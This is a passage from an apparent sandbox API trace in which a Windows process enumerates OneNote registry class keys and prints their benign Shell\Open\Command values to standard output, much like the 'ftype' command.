RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa92, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote") returned 0x0 [0101.171] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.171] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.171] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9c | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"", lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.171] RegCloseKey (hKey=0x64) returned 0x0 [0101.171] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n") returned 87 [0101.171] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.171] GetFileType (hFile=0x5c) returned 0x3 [0101.171] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.171] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0101.171] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0101.171] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa93, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Application") returned 0x0 [0101.171] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Application\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.172] SetLastError (dwErrCode=0x2) [0101.172] RegCloseKey (hKey=0x0) returned 0x6 [0101.172] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa94, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Application.12") returned 0x0 [0101.172] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Application.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.172] SetLastError (dwErrCode=0x2) [0101.172] RegCloseKey (hKey=0x0) returned 0x6 [0101.172] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa95, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Application.14") returned 0x0 [0101.172] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Application.14\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.172] SetLastError (dwErrCode=0x2) [0101.172] RegCloseKey (hKey=0x0) returned 0x6 [0101.172] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa96, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Application.15") returned 0x0 [0101.172] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Application.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.172] SetLastError (dwErrCode=0x2) [0101.172] RegCloseKey (hKey=0x0) returned 0x6 [0101.172] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa97, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.CFileConverter") returned 0x0 [0101.172] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.CFileConverter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.172] SetLastError (dwErrCode=0x2) [0101.172] RegCloseKey (hKey=0x0) returned 0x6 [0101.172] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa98, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Folder") returned 0x0 [0101.172] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Folder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.172] SetLastError (dwErrCode=0x2) [0101.172] RegCloseKey (hKey=0x0) returned 0x6 [0101.172] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa99, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Folder.1") returned 0x0 [0101.173] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Folder.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.173] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x86) returned 0x0 [0101.173] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x86 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"", lpcbData=0x2eef20*=0x86) returned 0x0 [0101.173] RegCloseKey (hKey=0x64) returned 0x0 [0101.173] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote.Folder.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n") returned 85 [0101.173] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.173] GetFileType (hFile=0x5c) returned 0x3 [0101.173] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Folder.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Folder.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86 [0101.173] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x55, lpOverlapped=0x0) returned 1 [0101.173] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9a, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.IEAddin") returned 0x0 [0101.173] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.IEAddin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.174] SetLastError (dwErrCode=0x2) [0101.174] RegCloseKey (hKey=0x0) returned 0x6 [0101.174] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9b, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.IEAddin.12") returned 0x0 [0101.174] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.IEAddin.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.174] SetLastError (dwErrCode=0x2) [0101.174] RegCloseKey (hKey=0x0) returned 0x6 [0101.174] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9c, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.IEAddin.LinkedNotes") returned 0x0 [0101.174] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.IEAddin.LinkedNotes\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.174] SetLastError (dwErrCode=0x2) [0101.174] RegCloseKey (hKey=0x0) returned 0x6 [0101.174] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9d, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.IEAddin.LinkedNotes.14") returned 0x0 [0101.174] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.IEAddin.LinkedNotes.14\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.174] SetLastError (dwErrCode=0x2) [0101.174] RegCloseKey (hKey=0x0) returned 0x6 [0101.174] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9e, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.NoteAnchor") returned 0x0 [0101.174] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.NoteAnchor\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.174] SetLastError (dwErrCode=0x2) [0101.174] RegCloseKey (hKey=0x0) returned 0x6 [0101.174] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9f, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.NoteAnchorCollection") returned 0x0 [0101.174] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.NoteAnchorCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.174] SetLastError (dwErrCode=0x2) [0101.174] RegCloseKey (hKey=0x0) returned 0x6 [0101.174] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa0, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Notebook") returned 0x0 [0101.174] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Notebook\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.175] SetLastError (dwErrCode=0x2) [0101.175] RegCloseKey (hKey=0x0) returned 0x6 [0101.175] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa1, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Notebook.1") returned 0x0 [0101.175] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Notebook.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.175] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x86) returned 0x0 [0101.175] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x86 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"", lpcbData=0x2eef20*=0x86) returned 0x0 [0101.175] RegCloseKey (hKey=0x64) returned 0x0 [0101.175] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote.Notebook.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n") returned 87 [0101.175] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.175] GetFileType (hFile=0x5c) returned 0x3 [0101.175] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.175] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Notebook.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Notebook.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0101.175] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0101.175] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa2, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.NoteLinkContentService") returned 0x0 [0101.175] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.NoteLinkContentService\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.176] SetLastError (dwErrCode=0x2) [0101.176] RegCloseKey (hKey=0x0) returned 0x6 [0101.176] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa3, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.NoteLinkMeta") returned 0x0 [0101.176] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.NoteLinkMeta\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.176] SetLastError (dwErrCode=0x2) [0101.176] RegCloseKey (hKey=0x0) returned 0x6 [0101.176] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa4, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.NoteLinkStoreService") returned 0x0 [0101.176] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.NoteLinkStoreService\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.176] SetLastError (dwErrCode=0x2) [0101.176] RegCloseKey (hKey=0x0) returned 0x6 [0101.176] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa5, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.OutlookAddin") returned 0x0 [0101.176] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.OutlookAddin\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.176] SetLastError (dwErrCode=0x2) [0101.176] RegCloseKey (hKey=0x0) returned 0x6 [0101.176] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa6, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Package") returned 0x0 [0101.176] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Package\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.176] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x86) returned 0x0 [0101.176] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x86 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"", lpcbData=0x2eef20*=0x86) returned 0x0 [0101.176] RegCloseKey (hKey=0x64) returned 0x0 [0101.176] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote.Package=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n") returned 84 [0101.177] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.177] GetFileType (hFile=0x5c) returned 0x3 [0101.177] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Package=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Package=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 85 [0101.177] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x54, lpOverlapped=0x0) returned 1 [0101.177] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa7, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.PowerPointAddinTakeNotesButton") returned 0x0 [0101.177] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.PowerPointAddinTakeNotesButton\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.177] SetLastError (dwErrCode=0x2) [0101.177] RegCloseKey (hKey=0x0) returned 0x6 [0101.177] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa8, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.PowerPointAddinTakeNotesService") returned 0x0 [0101.177] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.PowerPointAddinTakeNotesService\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.177] SetLastError (dwErrCode=0x2) [0101.177] RegCloseKey (hKey=0x0) returned 0x6 [0101.177] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa9, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Section") returned 0x0 [0101.177] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Section\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.177] SetLastError (dwErrCode=0x2) [0101.177] RegCloseKey (hKey=0x0) returned 0x6 [0101.177] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaaa, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.Section.1") returned 0x0 [0101.177] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.Section.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.178] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x86) returned 0x0 [0101.178] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x86 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"", lpcbData=0x2eef20*=0x86) returned 0x0 [0101.178] RegCloseKey (hKey=0x64) returned 0x0 [0101.178] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote.Section.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n") returned 86 [0101.178] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.178] GetFileType (hFile=0x5c) returned 0x3 [0101.178] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.178] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.Section.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.Section.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 87 [0101.178] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x56, lpOverlapped=0x0) returned 1 [0101.178] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaab, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.TableOfContents") returned 0x0 [0101.178] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.TableOfContents\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.178] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.179] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.179] RegCloseKey (hKey=0x64) returned 0x0 [0101.179] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote.TableOfContents=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n") returned 102 [0101.179] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.179] GetFileType (hFile=0x5c) returned 0x3 [0101.179] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.179] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.TableOfContents=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.TableOfContents=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 103 [0101.179] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x66, lpOverlapped=0x0) returned 1 [0101.202] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaac, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.TableOfContents.12") returned 0x0 [0101.202] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.TableOfContents.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.202] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.202] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.202] RegCloseKey (hKey=0x64) returned 0x0 [0101.202] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote.TableOfContents.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n") returned 105 [0101.202] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.202] GetFileType (hFile=0x5c) returned 0x3 [0101.203] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.TableOfContents.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.TableOfContents.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /navigate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106 [0101.203] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x69, lpOverlapped=0x0) returned 1 [0101.203] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaad, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.URL.16") returned 0x0 [0101.203] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.URL.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.203] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.203] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9c | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"", lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.203] RegCloseKey (hKey=0x64) returned 0x0 [0101.203] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNote.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n") returned 94 [0101.203] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.203] GetFileType (hFile=0x5c) returned 0x3 [0101.203] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.203] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNote.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNote.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95 [0101.203] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, 